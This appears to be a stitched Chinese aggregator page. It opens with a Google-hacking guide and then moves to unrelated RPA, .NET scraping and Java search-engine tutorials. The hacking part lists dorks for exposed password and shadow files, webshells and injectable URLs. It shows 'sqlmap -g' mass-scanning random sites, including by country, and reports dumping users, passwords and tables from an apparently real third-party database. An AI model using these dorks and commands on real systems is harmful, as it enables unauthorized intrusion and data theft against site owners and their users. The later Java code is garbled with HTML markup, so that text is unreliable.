　?。?）filetype——對目標進(jìn)行某些文件類(lèi)型檢索
　　filetype后跟文件類(lèi)型，目前常見(jiàn)的類(lèi)型有doc、xml、rar、docx、inc、mdb、txt
　　、email、xls、.sql、inc、conf、txtf、xml、pdf、zip、tar.gz、xlsl等。
　　例如搜索doc文檔，則在搜索輸入框中鍵入：filetype:doc，這種方法主要是搜索某目標網(wǎng)站的一些通過(guò)google爬蟲(chóng)爬取的信息。filetype后跟腳本語(yǔ)言后綴，例如搜索asp腳本：filetype:asp，其它類(lèi)型類(lèi)似，主要有jsp、php、aspx、cfm等，可以?xún)H僅查看這些腳本的url。
　?。?）intitle——限制搜索的網(wǎng)頁(yè)標題頁(yè)面
　　搜索網(wǎng)頁(yè)標題中包含有特定字符的網(wǎng)頁(yè)，allintitle: 搜索所有關(guān)鍵字構成標題的網(wǎng)頁(yè).（allintite:關(guān)鍵字或者url地址）
　?。?）link——將顯示跟指定網(wǎng)頁(yè)的所有鏈接的網(wǎng)頁(yè)
　?。?）cache——將顯示在Google cache中的網(wǎng)頁(yè)
　?。?）info——查找指定站點(diǎn)的一些基本信息
　　2.操作符說(shuō)明
　　在google中共有“+”、“-”、“~”、“.”、“*”、“""”等操作符，其中“+“表示將可能忽略的字列入查詢(xún)范圍，“-”把某個(gè)關(guān)鍵字忽略，“~”同意詞、“.”單一的通配符，“*”通配符，可代表多個(gè)字母；“""”精確查詢(xún)。
　　3.google黑客的一些應用
　?。?）搜索敏感信息泄露
　　intitle:"index of" etc
　　intitle:"Index of" .sh_history
　　intitle:"Index of" .bash_history
　　intitle:"index of" passwd
　　intitle:"index of" people.lst
　　intitle:"index of" pwd.db
　　intitle:"index of" etc/shadow
　　intitle:"index of" spwd
　　intitle:"index of" master.passwd
　　intitle:"index of" htpasswd
　　intitle:"index of" admin
　　inurl:service.pwd
　　intitle:phpmyadmin intext:Create newdatabase//搜索phpmyadmin直接進(jìn)入后臺
　　intitle:"php shell*" "Enablestderr" filetype:php//批量搜索webshell
　　intitle:"index of" data//列出data目錄
　　intilte:"error occurred" ODBCrequest where (select|insert)//搜索sql注入出錯頁(yè)面
　　intitle:index.of filetype:log//搜索日志文件
　?。?）查找管理后臺
　　intitle:管理
　　intitle:登錄
　　intitle:后臺
　　intitel:"后臺登錄"
　?。?）查找警告錯誤信息
　　intile:error
　　intitle:warning
　　0x004 inurl的用法
　?。?）查找數據庫和配置文件
　　inurl:editor/db/
　　inurl:eWebEditor/db/
　　inurl:bbs/data/
　　inurl:databackup/
　　inurl:blog/data/
　　inurl:okedata
　　inurl:bbs/database/
　　inurl:conn.asp
　　inurl:inc/conn.asp
　　inurl:"viewerframe?mode="//搜索攝像頭地址
　　inurl:db
　　inurl:mdb
　　inurl:config.txt
　　inurl:bash_history
　　inurl:data filetype:mdb//搜索mdb格式數據庫
　?。?）搜索備份文件
　　inurl:temp
　　inurl:tmp
　　inurl:backup
　　inurl:bak
　?。?）inurl中查找注入點(diǎn)
　　site: filetype:asp
　　site:tw inurl:asp?id=//這個(gè)是找臺灣的
　　site:jp inurl:php?id=// 這個(gè)是找日本的
　　site:ko inurl:jsp?id=// 這個(gè)是找韓國的
　?。?）目標遍歷漏洞
　　Index of /admin
　　Index of /passwd
　　Index of /password
　　Index of /mail
　　"Index of /" +passwd
　　"Index of /" +password.txt
　　"Index of /" +.htaccess
　　"Index of /secret"
　　"Index of /confidential"
　　"Index of /root"
　　"Index of /cgi-bin"
　　"Index of /credit-card"
　　"Index of /logs"
　　"Index of /config"
　　“inde xof/ inurl:lib
　　3.7.2google黑客入侵方法及思路
　　1.獲取主域名下的所有其他子域名或者頁(yè)面信息
　　site:
　　2.找各個(gè)子域名的管理后臺
　　site:intitle:管理或者后臺或者登陸等關(guān)鍵字
　　site: inurl:login或者inurl:admin可以跟常用的后臺路徑
　　site: intext:管理或者后臺或者登陸等關(guān)鍵字
　　3.查找各子域名腳本文件
　　site: filetype:jsp
　　site: filetype:aspx
　　site: filetype:php
　　site: filetype:asp
　　可以窮盡化對各個(gè)子域名的腳本文件頁(yè)面。
　　4.查找上傳路徑地址
　　site: inurl:file
　　site: inurl:load
　　site: inurl:file
　　5.收集email郵箱等敏感信息
　　6.對存在腳本頁(yè)面及傳入參數進(jìn)行sql注入測試
　　7.對收集到的域名進(jìn)行漏洞掃描
　　3.7.3sqlmap利用搜索引擎進(jìn)行注入命令參數
　　sqlmap中提供了google進(jìn)行批量獲取注入的命令，通過(guò)該命令可以批量獲取url，對存在其中的url進(jìn)行注入測試。
　　1.命令參數
　　sqlmap.py -g inurl:asp?id=
　　sqlmap.py -g inurl:aspx?id=
　　sqlmap.py -g inurl:php?id=
　　sqlmap.py -g inurl:jsp?id=
　　2.可以使用--batch進(jìn)行自動(dòng)判斷和注入
　　注意：
　?。?）國內用戶(hù)無(wú)法翻墻進(jìn)行注入測試，測試時(shí)必須使用代理或者vpn。
　?。?）在kali中sqlmap命令為sqlmap -g
　　3.其它命令跟sqlmap進(jìn)行sql注入類(lèi)似
　　4.技巧
　　在定義inurl:asp?id=中指定具體的文件名稱(chēng)，這個(gè)名稱(chēng)越不大眾化，越容易找出漏洞來(lái)。
　　5.常見(jiàn)的一些注入點(diǎn)搜索關(guān)鍵字
　　inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
　　inurl:newsid= inurl:iniziativa.php?in=inurl:gallery.php?id=
　　inurl:trainers.php?id=inurl:curriculum.php?id= inurl:rub.php?idr=
　　inurl:news-full.php?id=inurl:labels.php?id=inurl:view_faq.php?id=
　　inurl:news_display.php?getid=inurl:story.php?id= inurl:artikelinfo.php?id=
　　inurl:index2.php?option=inurl:look.php?ID=inurl:detail.php?ID=
　　inurl:readnews.php?id=inurl:newsone.php?id=inurl:index.php?=
　　inurl:top10.php?cat=inurl:aboutbook.php?id= inurl:profile_view.php?id=
　　inurl:newsone.php?id=inurl:material.php?id=inurl:category.php?id=
　　inurl:event.php?id=inurl:opinions.php?id=inurl:publications.php?id=
　　inurl:product-item.php?id=inurl:announce.php?id=inurl:fellows.php?id=
　　inurl:sql.php?id=inurl:rub.php?idr=inurl:downloads_info.php?id=
　　inurl:index.php?catid=inurl:galeri_info.php?l=inurl:prod_info.php?id=
　　inurl:news.php?catid=inurl:tekst.php?idt= inurl:shop.php?do=part&id=
　　inurl:index.php?id=inurl:newscat.php?id= inurl:productinfo.php?id=
　　inurl:news.php?id=inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
　　inurl:index.php?id=inurl:rubrika.php?idr= inurl:band_info.php?id=
　　inurl:trainers.php?id=inurl:rubp.php?idr= inurl:product.php?id=
　　inurl:buy.php?category=inurl:offer.php?idf= inurl:releases.php?id=
　　inurl:article.php?ID=inurl:art.php?idm=inurl:ray.php?id=
　　inurl:play_old.php?id=inurl:title.php?id=inurl:produit.php?id=
　　inurl:declaration_more.php?decl_id=inurl:news_view.php?id=inurl:pop.php?id=
　　inurl:pageid=inurl:select_biblio.php?id=inurl:shopping.php?id=
　　inurl:games.php?id=inurl:humor.php?id= inurl:productdetail.php?id=
　　inurl:page.php?file=inurl:aboutbook.php?id= inurl:post.php?id=
　　inurl:newsDetail.php?id=inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
　　inurl:gallery.php?id=inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
　　inurl:article.php?id=inurl:communique_detail.php?id= inurl:memberInfo.php?id=
　　inurl:show.php?id=inurl:sem.php3?id= inurl:section.php?id=
　　inurl:staff_id=inurl:kategorie.php4?id=inurl:theme.php?id=
　　inurl:newsitem.php?num=inurl:news.php?id= inurl:page.php?id=
　　inurl:readnews.php?id=inurl:index.php?id= inurl:shredder-categories.php?id=
　　inurl:top10.php?cat=inurl:faq2.php?id=inurl:tradeCategory.php?id=
　　inurl:historialeer.php?num=inurl:show_an.php?id=inurl:product_ranges_view.php?ID=
　　inurl:reagir.php?num=inurl:preview.php?id=inurl:shop_category.php?id=
　　inurl:Stray-Questions-View.php?num=inurl:loadpsb.php?id= inurl:transcript.php?id=
　　inurl:forum_bds.php?num=inurl:opinions.php?id=inurl:channel_id=
　　inurl:game.php?id=inurl:spr.php?id= inurl:aboutbook.php?id=
　　inurl:view_product.php?id=inurl:pages.php?id=inurl:preview.php?id=
　　inurl:newsone.php?id=inurl:announce.php?id=inurl:loadpsb.php?id=
　　inurl:sw_comment.php?id=inurl:clanek.php4?id=inurl:pages.php?id=
　　inurl:news.php?id=inurl:participant.php?id= about.php?cartID=
　　inurl:avd_start.php?avd=inurl:download.php?id= accinfo.php?cartId=
　　inurl:event.php?id=inurl:main.php?id= add-to-cart.php?ID=
　　inurl:product-item.php?id=inurl:review.php?id= addToCart.php?idProduct=
　　inurl:sql.php?id=inurl:chappies.php?id=addtomylist.php?ProdId=
　　inurl:material.php?id=inurl:read.php?id=
　　inurl:clanek.php4?id=inurl:prod_detail.php?id=
　　inurl:announce.php?id=inurl:viewphoto.php?id=
　　inurl:chappies.php?id=inurl:article.php?id=
　　inurl:read.php?id=inurl:person.php?id=
　　inurl:viewapp.php?id=inurl:productinfo.php?id=
　　inurl:viewphoto.php?id=inurl:showimg.php?id=
　　inurl:rub.php?idr=inurl:view.php?id=
　　inurl:galeri_info.php?l=inurl:website.php?id=
　　3.7.4實(shí)際測試案例
　　1.尋找可供注入點(diǎn)的目標網(wǎng)站
　　在kali下，使用“sqlmap -g inurl:details.php?id=”命令進(jìn)行g(shù)oogle搜索，如圖1所示，首先對第一個(gè)目標進(jìn)行測試，輸入“Y”進(jìn)行確認，也可以選擇q，不測試該目標，繼續測試后續的目標。

　　圖1對第一個(gè)url進(jìn)行sql注入測試
　　sqlmap如果第一個(gè)url獲取的注入不存在漏洞，則會(huì )尋找下一個(gè)url進(jìn)行注入，同時(shí)url計數為2，后續每一個(gè)注入計數加1，可以在參數后面增加--batch自動(dòng)提交判斷。
　　2.sql注入漏洞測試
　　如圖2所示，對該注入點(diǎn)進(jìn)行注入漏洞測試，該url一共存在四種類(lèi)型的sql注入，基于布爾盲注、出錯注入、基于時(shí)間盲注和聯(lián)合查詢(xún)注入。
　　
　　圖2獲取四種類(lèi)型的sql注入
　　3.基本信息獲取
　　sqlmap支持多個(gè)參數并列獲取，如圖3所示，獲取當前數據庫、當前數據庫名稱(chēng)、數據庫用戶(hù)，mysql用戶(hù)以及密碼等信息，有些字段需要有相對應的權限才能獲取，執行命令：
　　“sqlmap -u --dbs --current-db --current-user--users --passwords”，在本例中獲取數據庫用戶(hù)finvent2@localhost，當前數據庫為finvent_out。

　　圖3獲取基本信息
　　4.數據庫獲取
　?。?）獲取當前數據庫下所有表
　　sqlmap -u -D finvent_out --tables
　　執行后，如圖4所示，獲取當前數據庫finvent_out中的16個(gè)表名。
　　
　　圖4獲取所有表名
　?。?）獲取當前用戶(hù)下的所有數據
　　sqlmap -u --dump-all//獲取所有數據庫
　　sqlmap -u -Dfinvent_out //僅僅獲取finvent_out數據庫的數據。
　　參考文章： 查看全部

　　RPA經(jīng)典案例|第57課：點(diǎn)擊網(wǎng)頁(yè)指定內容目標項
　　
　　每日10分鐘小視頻，掌握一項小技能。
　　▼課程主題：本節課講解典型案例：點(diǎn)擊指定文本列表項。
　　▼所需命令：獲取元素文本、計次循環(huán)、點(diǎn)擊目標、數據抓取、獲取數組長(cháng)度、查找字符串。
　　▼課程視頻：
　　▼下期預告：Excel擴展命令。
　　 查看全部

　　.NET Core實(shí)踐爬蟲(chóng)系統：解析網(wǎng)頁(yè)內容
　　///
　　public long View { get; set; }
　　///
　　///明細
　　///
　　public string Detail { get; set; }
　　///
　　///作者
　　///
　　public string Author { get; set; }
　　///
　　/// 作者鏈接
　　///
　　public string AuthorUrl { get; set; }
　　}
　　然后根據網(wǎng)頁(yè)結構，查看XPath路徑，采集內容
　　///
　　/// 解析
　　///
　　///
　　public List ParseCnBlogs()
　　{
　　var url = "";
　　HtmlWeb web = new HtmlWeb();
　　//1.支持從web或本地path加載html
　　var htmlDoc = web.Load(url);
　　var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
　　Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
　　var postitemsNodes = post_listnode.SelectNodes("//div[@class='post_item']");
　　var articles = new List();
　　var digitRegex = @"[^0-9]+";
　　foreach (var item in postitemsNodes)
　　{
　　var article = new Article();
　　var diggnumnode = item.SelectSingleNode("//span[@class='diggnum']");
　　//body
　　var post_item_bodynode = item.SelectSingleNode("//div[@class='post_item_body']");
　　var titlenode = post_item_bodynode.SelectSingleNode("//a[@class='titlelnk']");
　　var summarynode post_item_bodynode.SelectSingleNode("//p[@class='post_item_summary']");
　　//foot
　　var footnode = item.SelectSingleNode("//div[@class='post_item_foot']");
　　var authornode = footnode.ChildNodes[1];
　　var commentnode = item.SelectSingleNode("//span[@class='article_comment']");
　　var viewnode = item.SelectSingleNode("//span[@class='article_view']");
　　article.Diggit = int.Parse(diggnumnode.InnerText);
　　article.Title = titlenode.InnerText;
　　article.Url = titlenode.Attributes["href"].Value;
　　article.Summary = titlenode.InnerHtml;
　　article.Author = authornode.InnerText;
　　article.AuthorUrl = authornode.Attributes["href"].Value;
　　article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
　　article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
　　articles.Add(article);
　　}
　　return articles;
　　}
　　查看采集結果
　　看到結果就驚呆了，竟然全是重復的。難道是Xpath語(yǔ)法理解不對么？ 采集結果
　　
　　重溫下XPath語(yǔ)法
　　XPath 使用路徑表達式在 XML 文檔中選取節點(diǎn)。節點(diǎn)是通過(guò)沿著(zhù)路徑或者 step 來(lái)選取的
　　
　　XPath 通配符可用來(lái)選取未知的 XML 元素
　　
　　我測試了幾個(gè)語(yǔ)法如：
　　//例1，會(huì )返回20個(gè)
　　var titlenodes = post_item_bodynode.SelectNodes("//a[@class='titlelnk']");
　　//會(huì )報錯，因為這個(gè)a并不直接在bodynode下面，而是在子級h3元素的子級。
　　var titlenodes = post_item_bodynode.SelectNodes("a[@class='titlelnk']");
　　然后又實(shí)驗了一種：
　　//Bingo,這個(gè)可以，但是強烈指定了下級h3,這就稍微麻煩了點(diǎn)。
　　var titlenodes = post_item_bodynode.SelectNodes("h3//a[@class='titlelnk']");
　　這里就引申出了一個(gè)小問(wèn)題：如何定位子級的子級？用通配符*可以么？
　　//返回1個(gè)。
　　var titlenodes= post_item_bodynode.SelectNodes("*//a[@class='titlelnk']")
　　能正確返回1，應該是可以了，我們改下代碼看下效果。
　　
　　然后和博客園首頁(yè)數據對比，結果吻合。 所以我們可以得出結論：
　　改過(guò)后代碼如下：
　　public List ParseCnBlogs()
　　{
　　var url = "";
　　HtmlWeb web = new HtmlWeb();
　　//1.支持從web或本地path加載html
　　var htmlDoc = web.Load(url);
　　var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
　　//Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
　　var postitemsNodes = post_listnode.SelectNodes("div[@class='post_item']");
　　var articles = new List();
　　var digitRegex = @"[^0-9]+";
　　foreach (var item in postitemsNodes)
　　{
　　var article = new Article();
　　var diggnumnode = item.SelectSingleNode("*//span[@class='diggnum']");
　　//body
　　var post_item_bodynode = item.SelectSingleNode("div[@class='post_item_body']");
　　var titlenode = post_item_bodynode.SelectSingleNode("*//a[@class='titlelnk']");
　　var summarynode = post_item_bodynode.SelectSingleNode("p[@class='post_item_summary']");
　　//foot
　　var footnode = post_item_bodynode.SelectSingleNode("div[@class='post_item_foot']");
　　var authornode = footnode.ChildNodes[1];
　　var commentnode = footnode.SelectSingleNode("span[@class='article_comment']");
　　var viewnode = footnode.SelectSingleNode("span[@class='article_view']");
　　article.Diggit = int.Parse(diggnumnode.InnerText);
　　article.Title = titlenode.InnerText;
　　article.Url = titlenode.Attributes["href"].Value;
　　article.Summary = titlenode.InnerHtml;
　　article.Author = authornode.InnerText;
　　article.AuthorUrl = authornode.Attributes["href"].Value;
　　article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
　　article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
　　articles.Add(article);
　　}
　　return articles;
　　}
　　源碼
　　代碼已上傳至 GitHub：
　　總結
　　Demo到此結束，下篇繼續構思如何構建自定義規則，讓用戶(hù)可以在頁(yè)面自己填寫(xiě)規則去識別。
　　看完本文有收獲？請轉發(fā)分享給更多人
　　關(guān)注「DotNet」，提升.Net技能
　　
　　 查看全部

　　編寫(xiě)一個(gè)Java站內搜索引擎系統
　　如果用我們的小服務(wù)器去搞百度，搜狗那種引擎肯定是不行的，那些屬于全網(wǎng)搜索，我們這里做一個(gè)站內搜索。類(lèi)似于我們對網(wǎng)站里的資源進(jìn)行搜索。
　　一、搜索引擎怎么搜索
　　搜索引擎就像一個(gè)小蜜蜂每天不停的采摘蜂蜜，就是去爬蟲(chóng)各個(gè)網(wǎng)頁(yè)，然后通過(guò)爬取之后建立索引，以供于我們去搜索。建議大家別爬蟲(chóng)要不然被告了。
　　這里我們可以使用Python，或者下載文檔壓縮包。
　　為什么要用索引呢？
　　因為爬的數據太多了，不索引，難道去遍歷嗎？時(shí)間復雜度太大了。
　　這里我們需要建立索引，索引分別為正排索引，和倒排索引。
　　拿LOL舉個(gè)例子吧，正排就相當于，我們提到無(wú)極劍圣的技能就可以聯(lián)想到
　　故根據名字選技能
　　倒排索引就是LOL里面誰(shuí)有劍
　　蠻王無(wú)極劍圣劍姬
　　故根據特點(diǎn)選擇英雄
　　二、模塊劃分1、索引模塊
　　1）掃描下載到的文檔，分析內容，構建出，正排索引和倒排索引。并且把索引內容保存到文件中。
　　2）加載制作i好的索引。并提供一些API實(shí)現查正排和查倒排這樣的功能。
　　2、搜索模塊
　　1）調用索引模塊，實(shí)現一個(gè)搜索的完整過(guò)程。
　　3、web模塊
　　需要實(shí)現一個(gè)簡(jiǎn)單的web程序，能夠通過(guò)網(wǎng)頁(yè)的形式和用戶(hù)進(jìn)行交互。
　　包含了前端和后端。
　　三、怎么實(shí)現分詞
　　分詞的原理
　　1、基于詞庫
　　嘗試把所有的詞都進(jìn)行窮舉，把這些結果放到詞典文件中。
　　2、基于統計
　　收集到很多的語(yǔ)料庫，進(jìn)行人工標注，知道了那些字在一起的概率比較大~
　　java中能夠實(shí)現分詞的第三方工具也是有很多的
　　比如ansj(聽(tīng)說(shuō)唱的兄弟可能聽(tīng)過(guò)ansj，哈哈)這個(gè)就是一個(gè)maven中央倉庫的分詞第三方庫。
　　
　　我們直接下載最新版本然后放入pom.xml里面
　　test包里直接操作：我們使用這個(gè)測試代碼直接搞。試一下這個(gè)包咋用。
　　
　　import?org.ansj.domain.Term;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?org.ansj.splitWord.analysis.ToAnalysis;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.util.List;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public?class?TastAnsj?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????public?static?void?main(String[]?args)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????String?str?=?"易大師是一個(gè)有超高機動(dòng)性的刺客、戰士型英雄，擅長(cháng)利用快速的打擊迅速擊潰對手，易大師一般打野和走單人路，作為無(wú)極劍道的最后傳人，易可以迅速砍出大量傷害，同時(shí)還能利用技能躲避猛烈的攻擊，避開(kāi)敵人的集火。";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????List?terms?=?ToAnalysis.parse(str).getTerms();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????for?(Term?term?:?terms)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????System.out.println(term.getName());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
　　四、文件讀取
　　把剛剛下載好的文檔的路徑復制到String中并且用常量標記。
　　這一步是為了用遍歷的方法把所有html文件搞出來(lái)，我們這里用了一個(gè)遞歸，如果是絕對路徑，就填加到文件鏈表，如果不是就遞歸，繼續添加里面的值。
　　import?java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//讀取剛剛文檔<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public?class?Parser?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????public??void?run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//整個(gè)Parser類(lèi)的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//1.根據路徑，去枚舉出所有的文件.（html）；<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????ArrayList?fileList=new?ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//2.針對上面羅列出的文件，打開(kāi)文件，讀取文件內容，并進(jìn)行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//3.把在內存中構造好的索引數據結構，保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????File?rootPath=new?File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????//listFiles?能夠獲取到一層目錄下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????File[]?files=?rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????for(File?f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果f是一個(gè)普通文件，就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果不是就調用遞歸<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}else?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????public?static?void?main(String[]?args)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????Parser?parser=new?Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
　　
　　我們嘗試運行一下，這里的文件也太多了吧，而且無(wú)論是什么都打印出來(lái)了。所以我們下一步就是把這些文件進(jìn)行篩選，選擇有用的。
　　else?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????if(f.getAbsolutePath().endsWith(",html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
　　這個(gè)代碼就是只是針對末尾為html的文件，下圖就是展示結果。
　　
　　4.1 打開(kāi)文件，解析內容。
　　這里分為三個(gè)分別是解析Title，解析Url，解析內容Content
　　4.1.1解析Title
　　f.getName()是直接讀取文件名字的方法。
　　我們用的name.substring(0,f.getName().length()-5);為什么要用總的文件名字長(cháng)度減去5呢，因為.HTML剛好就是五。
　　private??String?parseTitle(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?name=?f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????return?name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
　　4.1.2解析Url操作
　　這里的url就是我們平時(shí)去一個(gè)瀏覽器輸入一個(gè)東西下面會(huì )有一個(gè)url，這個(gè)url就是我們的絕對路徑經(jīng)過(guò)截取獲得出我們的相對的目錄，然后與我們的http進(jìn)行拼接，這樣就可以直接得到一個(gè)頁(yè)面。
　　private??String?parseUrl(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????String?part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????return?part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
　　4.1.3解析內容
　　以為開(kāi)關(guān)進(jìn)行對數據的讀取，以int類(lèi)型讀取，為什么要用int而不是char呢因為int類(lèi)型讀完之后就變成-1可以判斷一下是否讀取完畢。
　　具體代碼如下很容易理解。
　　private??String?parseContent(File?f)?throws?IOException?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取，以作為開(kāi)關(guān)<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????try(FileReader?fileReader=new?FileReader(f))?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????boolean?isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//還需要準備一個(gè)結果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????StringBuilder?content=new?StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????while?(true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//此處的read的返回值是int，不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//如果讀到文件末尾，就會(huì )返回-1，這是用int的好處；<br 